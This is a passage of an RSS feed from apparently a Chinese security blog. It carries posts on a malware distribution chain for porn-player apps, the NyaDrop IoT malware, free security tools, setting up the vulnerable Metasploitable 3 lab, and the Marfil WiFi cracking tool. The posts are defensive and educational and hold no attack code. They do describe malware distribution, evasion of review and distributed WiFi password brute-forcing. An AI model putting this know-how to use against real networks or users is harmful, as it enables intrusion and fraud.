&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FILTER_VALIDATE_EMAIL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;其他的地方我就不分析了，只分析上面这个函数，这个函数有这个特点&lt;/p&gt;</description></item><item><title>移动平台流量黑产研究——色情播放器类恶意软件产业链</title><link>https://www.lucien116.com/archives/230/</link><pubDate>Tue, 27 Dec 2016 13:26:35 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=230</guid><description>&lt;h3 id="摘-要"&gt;摘    要&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。&lt;/li&gt;
&lt;li&gt;大量可疑下载链接数指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。&lt;/li&gt;
&lt;li&gt;可疑下载链接均来自重定向跳转，流量数据包中的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。&lt;/li&gt;
&lt;li&gt;抽取相似网络流量特征看，表现出IP层、跳转层、下载层的三层控制分发模型。&lt;/li&gt;
&lt;li&gt;通过对可疑域名的的追踪，发现了管理后台、分发的色情播放器类恶意软件以及网站使用的伪装手法。&lt;/li&gt;
&lt;li&gt;色情播放器类恶意软件产业链从制作上看，包括恶意模块集成、免杀、视频教程、申请支付ID。&lt;/li&gt;
&lt;li&gt;从传播上看，投放方式包括，网页诱导、网页挂马、广告推广、APP捆绑、论坛和热门影视。&lt;/li&gt;
&lt;li&gt;从传播量大的原因看，其中一个是因为在不同时间内，同一链接可以灵活控制重定向到多个下载链接，并且通过检查浏览器UA标识来逃避审查。&lt;/li&gt;
&lt;li&gt;从产业链规模看，2016年全年共捕获色情播放器类恶意软件超过800万；色情链接一周的访问流量高达830万余次。&lt;/li&gt;
&lt;li&gt;开发者、广告主和网站主是产业链中的主要角色，他们各自拥有不同的技能与资源。&lt;/li&gt;
&lt;li&gt;广告联盟作为色情播放器类恶意软件传播中的联系平台，并不是相对独立，而是多个广告联盟呈现上下游的协同合作，是传播量范围大的另一个原因。&lt;/li&gt;
&lt;li&gt;以色情播放器类恶意软件产业链视角看移动平台流量黑产的趋势，主要表现在传播手段、变现方式、技术特点、攻击对象和资源实力五个方面。&lt;/li&gt;
&lt;li&gt;通过在政策、社会、技术多层面协同联动，有力打击违法犯罪行为，切实净化网络文化环境。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键词：色情播放器、流量黑产、移动平台、恶意软件&lt;/p&gt;
&lt;h3 id="第一章-冰山一角"&gt;第一章       冰山一角&lt;/h3&gt;
&lt;p&gt;随着互联网的迅猛发展和规模不断扩大，计算机网络不仅在工业、银行、科研教育等各个领域发挥重要作用，而且与我们的日常出行、购物、娱乐、社交等生活密不可分。网络在给我们带来便利的同时，也让一些不法分子嗅到了金钱的味道，产生了诸如钓鱼网站、DDOS攻击、DNS劫持、网络流量作弊、恶意程序分发等等黑色产业链。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、异常流量&lt;/strong&gt;
网络流量监测作为计算机网络的基础部分，在互联网大数据下通过对流量曲线的检测和分析，可以在第一时间获取特定时期内的网络负载情况、负载变化情况，直观的评估网络环境的健康程度，对于发现网络流量中的异常行为，可以提早发现问题和网络威胁，组织防范或恢复措施，避免带来严重的问题和损失。&lt;/p&gt;
&lt;p&gt;360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image4.jpeg"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image4.jpeg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1.1 异常流量曲线图&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二、可疑链接&lt;/strong&gt;
我们通过持续关注和分析，发现了更多（只列举其中10个）存在相似行为的网络主机，并且发现了相似的URL链接。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image5-2.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image5-2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1.2 可疑URL&lt;/p&gt;
&lt;p&gt;这些可疑链接指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三、链接重定向&lt;/strong&gt;
链接重定向[1]就是把一个URL重定向到另一个URL上去。重定向即是把一个目录或者文件的访问请求转发至另外一个目录或者文件，当用户发出相应的访问请求时将自动跳转到指定的位置，常见的重定向有301（永久重定向）及302（暂时重定向）两种。&lt;/p&gt;
&lt;p&gt;我们在溯源可疑下载链接的来源时发现，这些可疑链接都是在客户端请求某个链接时经过HTTP协议302码暂时重定向指向的链接。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image6-1.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image6-1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1.3 重定向示意图&lt;/p&gt;
&lt;p&gt;每个独立的下载链接之间看似不相干，但实际上都是存在相互关联的。经过一段时间的观察，我们发现客户端在不同时间内请求同一个链接时，返回的重定向页链接是不同的，并且从抽取的流量包中还发现这些网络流量中所返回的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。这种链接重定向跳转机制导致出现了上面提到的大量可疑下载链接。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image7-2.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image7-2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1.4 请求同一链接重定向到不同的地址&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;四、分发模式&lt;/strong&gt;
(一)    分层&lt;/p&gt;
&lt;p&gt;通过可疑下载链接的表现形式、利用的HTTP协议302码暂时重定向特性以及流量包中的固定特征“cdm=http”，我们关联出更多网络主机间的关系&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image8-1.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image8-1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1.5 更多网络主机关系&lt;/p&gt;
&lt;p&gt;它们之间关系表现为分层结构主要分为三层，中间层向上指向同一IP，向下指向多个下载链接，我们将上层命名为“IP层”，中层命名为“跳转层”，下层命名为“下载层”。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image9-1.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image9-1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1.6 三层结构&lt;/p&gt;
&lt;p&gt;(二)    控制模型&lt;/p&gt;
&lt;p&gt;从上面的实例分析，我们抽象出一个三层控制模型，通过控制模型实现对色情播放器类恶意软件的传播。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image10-1.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image10-1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1.7 三层控制模型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;下载层：表现为链接每天频繁地变化，出现和消亡的周期短，短时间内访问集中爆发；&lt;/li&gt;
&lt;li&gt;跳转层：表现为采用HTTP协议302码暂时重定向，灵活切换控制下载层，与下载层相比数量相对收敛；&lt;/li&gt;
&lt;li&gt;IP层：表现为对跳转层的集中控制管理，与下载层和跳转层相比更为收敛，变化程度小。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="第二章-始作俑者"&gt;第二章      始作俑者&lt;/h3&gt;
&lt;p&gt;色情播放器类恶意软件数量近几年呈现爆发式增长，软件总量达到千万量级，时刻威胁着用户手机及财产安全。“天下熙熙，皆为利来；天下攘攘，皆为利往”，这类恶意软件之所以“兴起”，它的背后一定潜伏着巨大的利益与诱惑。我们对色情播放器类恶意软件的来源、危害和传播方式进行了长期关注，揭开了其背后的黑色产业链。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、重要线索&lt;/strong&gt;
我们通过网络流量的分析，在“mppay.net”域名下，发现了一个APK包的渠道分发状态后台。后台页面清楚得展示出400多个渠道编号、更新日期时间和对应的下载链接。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image11-1.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image11-1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图2.1分发后台&lt;/p&gt;
&lt;p&gt;页面分发的软件全部为色情播放器类软件归属与Trojan.Dropper.Android.FakeDebuggerd.B同一恶意家族，并且分发的软件每天都在更新，我们选取了一段时间内下载的软件进行了统计，其中包括“91爱妹视频”、“成人i影院”、“91爱色院线”等等。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.360.cn/360mobile/files/2016/12/image12-1.png"&gt;&lt;img loading="lazy" src="http://blogs.360.cn/360mobile/files/2016/12/image12-1.png"&gt;&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Linux/NyaDrop - a linux MIPS IoT bad news</title><link>https://www.lucien116.com/archives/229/</link><pubDate>Tue, 27 Dec 2016 11:08:33 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=229</guid><description>&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF &lt;strong&gt;Linux/NyaDrop&lt;/strong&gt; as per the name used by threat actor himself, for the &amp;ldquo;nyadrop&amp;rdquo; binary that is dropped in the compromised system.&lt;/p&gt;
&lt;p&gt;This is not the &amp;ldquo;really&amp;rdquo; first time we&amp;rsquo;re seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time).
&lt;img loading="lazy" src="https://lh3.googleusercontent.com/xVQ9SLCc0VSiXaVC_a4XrrHwMHk3pFrZo_Kf3D1CIE5QbtfGkU9uXLm1JWRRJBSUm36a7pmqTEGbFA=w270-h737-no"&gt;&lt;img loading="lazy" src="https://lh3.googleusercontent.com/_1U42bajBfTc2rdIYeXSw0RNPbFIUQ2Itjniwnf-lfEa4IZzjY8roR9gO83c04rz6r5oHnTbRuLLeQ=w270-h653-no"&gt;&lt;/p&gt;</description></item><item><title>分享一些支持企业安全工作的免费工具</title><link>https://www.lucien116.com/archives/228/</link><pubDate>Tue, 27 Dec 2016 06:49:56 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=228</guid><description>&lt;p&gt;&lt;strong&gt;其实网上有很多非常实用的免费安全工具，如果要全部介绍这些工具的话，可能一天一夜的时间都不够。虽然现在也有很多公司会通过试用版软件来“勾引”用户去购买他们完整功能的产品，但是目前市面上仍然有很多功能强大的免费安全工具，包括情报工具、在软件开发阶段保证安全性的工具、渗透测试工具和取证工具等等。&lt;/strong&gt; &lt;a href="http://image.3001.net/images/20161225/14826592139299.png"&gt;&lt;img alt="Clipboard Image.png" loading="lazy" src="http://image.3001.net/images/20161225/14826592139299.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="工具简介"&gt;工具简介&lt;/h2&gt;
&lt;p&gt;威胁情报工具包括AlienVault的Open Threat Exchange（OTX），这个工具实际上是一个计算机安全平台，它可以收集并共享互联网威胁情报，类似的平台还有Hailataxii和Cymon.io等等。除此之外，我们还有很多静态应用程序安全测试（SAST）工具可供选择，开发人员可以用这些工具来测试采用不同编程语言（C/C++、Ruby on Rails或Python等）开发的软件。就渗透测试而言，我们通常选择使用Nmap安全扫描工具和Wireshark网络协议分析工具。专门的分析取证产品包括GRR远程取证框架、Autopsy和SleuthKit等，这些工具可以对硬盘驱动器和智能手机进行取证分析，而Volatility Foundation的开源框架则可以对系统内存进行取证分析。&lt;/p&gt;
&lt;h2 id="威胁情报工具"&gt;威胁情报工具&lt;/h2&gt;
&lt;p&gt;安全厂商可以对威胁情报进行分析，并为相应的威胁信息创建签名，而他们的安全检测工具就可以利用这些签名数据来检测安全威胁了。AlienVault的 &lt;a href="https://otx.alienvault.com/"&gt;Open Threat Exchange&lt;/a&gt;（OTX）平台可以收集并与社区共享互联网威胁情报信息，这个项目目前总共有来自140个国家的47000多名参与者，这些参与者每天都会贡献超过4百万个 &lt;a href="https://www.alienvault.com/open-threat-exchange"&gt;威胁情报标识&lt;/a&gt;。当新型威胁出现时，这种形式的资源共享可以帮助企业和安全厂商快速地对这些安全威胁进行识别和响应。&lt;/p&gt;
&lt;p&gt;CyTech Services的首席执行官Ben Cotton（注册信息系统安全专家，CISSP）也表示：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“AlienVault的OTX平台在共享威胁情报标识（IoC）方面做得非常的好。安全产品可以通过OTX所提供的IoC来增强自身的检测能力，并更好地检测新型的安全威胁。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://www.esentire.com/"&gt;eSentire&lt;/a&gt; 的 &lt;a href="https://cymon.io/"&gt;Cymon.io&lt;/a&gt; 同样也提供了大量免费的威胁情报信息，根据其官网所提供的数据，当社区成员发现了新的恶意活动或病毒感染源，他们便会立刻将相应的标识添加到Cymon.io的数据库中。&lt;/p&gt;
&lt;p&gt;Cymon每天都会从180个不同的领域来获取安全威胁情报信息，这些领域包括公共产业、政府机构、以及商业威胁情报来源（例如VirusTotal、Phishtank、blacklists以及各大反病毒厂商的安全报告）等等。Cymon可以利用这些威胁情报来追踪恶意软件、网络钓鱼、僵尸网络、以及垃圾邮件等恶意活动，Cymon的数据库每天都会新增超过2万个独立的IP地址，到目前为止，Cymon总共有超过6百万个登陆IP，并且记录了超过3370万次安全事件。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161225/1482659254761.png"&gt;&lt;img alt="Clipboard Image.png" loading="lazy" src="http://image.3001.net/images/20161225/1482659254761.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cotton还表示：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“在我看来，除了OTX之外， &lt;a href="http://hailataxii.com/"&gt;Hailataxii.com&lt;/a&gt; 也是一个非常棒的开源威胁情报资源库。但Cymon.io同样做得非常好，我认为作为一个威胁情报共享平台来说，它与AlienVault的OTX和Hailataxii一样的优秀。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="在软件开发阶段增强安全性的工具"&gt;在软件开发阶段增强安全性的工具&lt;/h2&gt;
&lt;p&gt;现在也有很多静态应用程序安全测试（SAST）工具可供广大开发人员使用，开发人员可以在软件的编码阶段利用这些工具来测试自己所编写的软件安全性是否到位。Cigital的资深安全顾问Meera Subbarao认为：“目前世界上最为流行的JavaSAST工具就是 &lt;a href="http://findbugs.sourceforge.net/"&gt;FindBugs&lt;/a&gt; 和 &lt;a href="https://sourceforge.net/projects/pmd/"&gt;PMD&lt;/a&gt; 了。这些SAST工具大多都可以以插件的形式添加到开发人员所使用的IDE内，这样就可以更好地帮助他们在开发应用程序的过程中保证编码的安全。当然了，除了针对Java的SAST工具之外，也有很多专为Python、Ruby on Rails、C/C++、JavaScript、以及.NET等编程语言的SAST工具。”&lt;/p&gt;
&lt;h2 id="专为渗透测试渗透测试人员而生的工具"&gt;专为渗透测试／渗透测试人员而生的工具&lt;/h2&gt;
&lt;p&gt;通过对产品进行渗透测试，安全人员可以赶在黑客之前发现产品中存在的安全漏洞。安全专家使用最广泛的就是开源的 &lt;a href="https://nmap.org/"&gt;Nmap&lt;/a&gt; 安全扫描器了。Nmap由Gordon Lyon开发，它是一款专业的渗透测试工具，安全研究人员可以使用Nmap来扫描目标主机端口并定位网络漏洞。Cotton认为：“如果要进行网络漏洞分析的话，在所有的免费开源扫描工具中Nmap的效率是最高的。唯一不足的是，虽然Nmap可以扫描大型网络，但是它却没有提供与安全事件响应有关的功能。”&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161225/14826592859228.png"&gt;&lt;img alt="Clipboard Image.png" loading="lazy" src="http://image.3001.net/images/20161225/14826592859228.png!small"&gt;&lt;/a&gt;&lt;a href="https://www.wireshark.org/download.html"&gt;Wireshark&lt;/a&gt; 是一款得到了广泛使用的网络协议分析工具，它同样是一款免费的渗透测试工具。该软件最初由GeraldCombs负责开发，目前由Riverbed负责维护。Cotton表示：“Wireshark可能是目前最好的网络数据包嗅探工具了。但是，Wireshark并 &lt;a href="https://wiki.wireshark.org/Performance"&gt;不支持扫描文件大小超过100MB的数据包&lt;/a&gt;。”&lt;/p&gt;
&lt;h2 id="分析取证工具"&gt;分析取证工具&lt;/h2&gt;
&lt;p&gt;企业可以利用取证工具来调查过去所发生的或正在发生的安全事件。Google的GRR远程取证框架（免费，开源）提供了实时事件响应服务，我们可以通过GRR的python代理来与GRR的python服务器进行实时交互来获取这项服务。你可以在Windows、Linux、以及macOS系统中使用GRR代理，并对系统内存数据进行取证和分析。同样的，虽然它是一款非常优秀的工具，但是当GRR用于企业环境中时，其扩展性方面的问题就会暴露出来。Cotton认为：“一般来说，我们只会用GRR来处理十台左右的设备。”&lt;/p&gt;
&lt;p&gt;通常情况下，我们会拿多种工具来配合使用。取证工具Autopsy和SleuthKit可以对计算机硬盘、智能手机、以及磁盘镜像进行分析，该产品支持Windows、Linux、以及macOS系统。Cotton说到：“这些工具只能帮助我们对十台以下的电脑进行分析，而且Autopsy和SleuthKit同样无法有效地处理大型网络中的问题。”&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161225/14826593029886.png"&gt;&lt;img alt="Clipboard Image.png" loading="lazy" src="http://image.3001.net/images/20161225/14826593029886.png!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;还有一款不得不提的内存分析工具，即VolatilityFoundation的开源框架。这款分析取证工具可以通过收集目标主机RAM中的数据来对正在运行中的系统进行剖析。它允许你从Windows系统中收集内存数据，并导出进程、开放端口、以及网络链接相关的数据，所以它可以帮助我们识别内存中正在运行的恶意软件。&lt;/p&gt;
&lt;p&gt;Cotton解释称：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“我强烈推荐VolatilityFoundation的这款内存分析开源框架。但它的不足之处在于，当你需要开始分析数据之前，你需要创建当前的内存镜像，这样你才可以导出内存数据，并使用Volatility来对目标主机当前的RAM数据进行分析。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="这些免费的安全软件仍有很长的路要走"&gt;这些免费的安全软件仍有很长的路要走&lt;/h3&gt;
&lt;p&gt;本文所列举出的免费工具几乎是每一位安全研究人员都使用过的，不仅是因为这些工具在开源软件项目中都是佼佼者，而且这些工具是全世界任何一个地方的人都可以免费获取和使用的。你可以使用这些工具来暂时填补企业中的安全空缺，并尽你所能地将组织或自身的安全做到你所能实现的高度。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;em&gt;\&lt;/em&gt; 参考来源： &lt;a href="http://www.csoonline.com/article/3152865/security/free-security-tools-to-support-cyber-security-efforts.html"&gt;csoonline&lt;/a&gt;，FB小编Alpha_h4ck编译，转载请注明来自 &lt;a href="http://www.freebuf.com/"&gt;FreeBuf.COM&lt;/a&gt;&lt;/em&gt;*&lt;/p&gt;</description></item><item><title>KALI LINUX安装Metasploitable 3</title><link>https://www.lucien116.com/archives/227/</link><pubDate>Mon, 26 Dec 2016 14:18:21 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=227</guid><description>&lt;p&gt;&lt;strong&gt;1、安装virtualbox&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;virtualbox安装的姿势很多，kali之前的版本是可以通过apt-get install virtualbox来安装。&lt;/p&gt;
&lt;p&gt;或者去官方网站下载virtualbox stretch版本，官方网站：https://www.virtualbox.org/wiki/Linux_Downloads，&lt;/p&gt;
&lt;p&gt;wget &lt;a href="http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026"&gt;http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026&lt;/a&gt; &lt;del&gt;Debian&lt;/del&gt;stretch_amd64.deb&lt;/p&gt;
&lt;p&gt;下载完成以后，通过dpkg安装：&lt;/p&gt;
&lt;p&gt;dpkg -i virtualbox-5.1_5.1.2-108956&lt;del&gt;Debian&lt;/del&gt;stretch_i386.deb&lt;/p&gt;
&lt;p&gt;如果有缺少依赖文件就使用下面命令补上去：apt-get -f install&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161218/14820253008345.png%21small"&gt;&lt;img alt="2016-12-16 11-31-43屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253008345.png%21small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;运行 sudo /sbin/vboxconfig，检查是否缺少内核文件，然后根据提示安装内核文件，如：apt-get install linux-headers-amd64&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161218/14820253014082.png%21small"&gt;&lt;img alt="2016-12-16 12-54-16屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253014082.png%21small"&gt;&lt;/a&gt;&lt;a href="http://image.3001.net/images/20161218/14820253008524.png%21small"&gt;&lt;img alt="2016-12-16 12-54-03屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253008524.png%21small"&gt;&lt;/a&gt;&lt;strong&gt;2、安装packer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;root@kali:/# apt-get install packer&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161218/14820253009312.png"&gt;&lt;img alt="2016-12-16 11-17-21屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253009312.png!small"&gt;&lt;/a&gt;&lt;strong&gt;3、安装vagrant&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;wget &lt;a href="https://releases.hashicorp.com/vagrant/1.9.1/vagrant_1.9.1_x86_64.deb"&gt;https://releases.hashicorp.com/vagrant/1.9.1/vagrant_1.9.1_x86_64.deb&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;dpkg -i vagrant_1.9.1_x86_64.deb&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161218/14820253005103.png%21small"&gt;&lt;img alt="2016-12-16 11-20-36屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253005103.png%21small"&gt;&lt;/a&gt;&lt;strong&gt;4、执行 build_win2008.sh&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;给sh文件加上执行权限：chmod +x build_win2008.sh，并运行它。 &lt;strong&gt;&lt;a href="http://image.3001.net/images/20161218/14820253028398.png%21small"&gt;&lt;img alt="2016-12-16 13-08-49屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253028398.png%21small"&gt;&lt;/a&gt;&lt;/strong&gt; &lt;a href="http://image.3001.net/images/20161218/14820253033893.png%21small"&gt;&lt;img alt="2016-12-16 13-09-33屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253033893.png%21small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在Waiting for SSH to become available是有点慢，耐心等待！这时打开VirtualBox管理器可以看到预览中正在创建虚拟机。当虚拟机安装完之后，安装脚本会自动通过SSH连入虚拟机并进行各种漏洞设置。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161218/1482025303879.png%21small"&gt;&lt;img alt="2016-12-16 13-08-18屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/1482025303879.png%21small"&gt;&lt;/a&gt;&lt;a href="http://image.3001.net/images/20161218/14820253048176.png%21small"&gt;&lt;img alt="2016-12-16 13-13-44屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253048176.png%21small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;build_win2008.sh 执行结束后会提示你执行vagrant up来启动虚拟机配置：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161218/14820253059494.png%21small"&gt;&lt;img alt="2016-12-16 13-25-09屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253059494.png%21small"&gt;&lt;/a&gt;&lt;strong&gt;5、执行vagrant up&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一次执行vagrant up会往虚拟机中安装各种软件，和配置虚拟机中的漏洞。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://image.3001.net/images/20161218/14820253058052.png%21small"&gt;&lt;img alt="2016-12-16 13-31-03屏幕截图.png" loading="lazy" src="http://image.3001.net/images/20161218/14820253058052.png%21small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以把这些用于配置漏洞环境的文件用迅雷下载好，再丢虚拟机里面安装，可以节省很多时间。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jdk-8u111-windows-x64.exe"&gt;http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jdk-8u111-windows-x64.exe&lt;/a&gt; &lt;a href="http://download.oracle.com/otn-pub/java/jdk/8u112-b15/jdk-8u112-windows-x64.exe"&gt;http://download.oracle.com/otn-pub/java/jdk/8u112-b15/jdk-8u112-windows-x64.exe&lt;/a&gt; &lt;a href="http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jre-8u111-windows-x64.exe"&gt;http://download.oracle.com/otn-pub/java/jdk/8u111-b14/jre-8u111-windows-x64.exe&lt;/a&gt; &lt;a href="https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x64.exe"&gt;https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x64.exe&lt;/a&gt; &lt;a href="http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.33/bin/apache-tomcat-8.0.33-windows-x64.zip"&gt;http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.33/bin/apache-tomcat-8.0.33-windows-x64.zip&lt;/a&gt; &lt;a href="https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x86.exe"&gt;https://download.microsoft.com/download/5/D/8/5D8C65CB-C849-4025-8E95-C3966CAFD8AE/vcredist_x86.exe&lt;/a&gt; &lt;a href="http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip"&gt;http://download.java.net/glassfish/4.0/release/glassfish-4.0.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;wampserver2.2.d-x64.exe :&lt;/p&gt;
&lt;p&gt;&lt;a href="http://pan.baidu.com/share/link?shareid=1406529211&amp;amp;uk=1010090726&amp;amp;fid=359162040528870"&gt;http://pan.baidu.com/share/link?shareid=1406529211&amp;amp;uk=1010090726&amp;amp;fid=359162040528870&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;……&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6、使用虚拟机&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在上面第一次执行完vagrant up之后就可以正常使用虚拟机了，后面也不用每次都执行vagrant up，直接通过VirtualBox来打开就可以了。&lt;/p&gt;</description></item><item><title>Aircrack-ng 扩展 : Marfil</title><link>https://www.lucien116.com/archives/225/</link><pubDate>Mon, 19 Dec 2016 12:49:14 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=225</guid><description>&lt;p&gt;&lt;strong&gt;Marfil 是 Aircrack-ng 套件的一个扩展工具，被用于 WiFi 网络安全的评估测试。利用它，我们可以实现在多台计算机之间，进行分布式的爆破任务。&lt;/strong&gt;&lt;/p&gt;
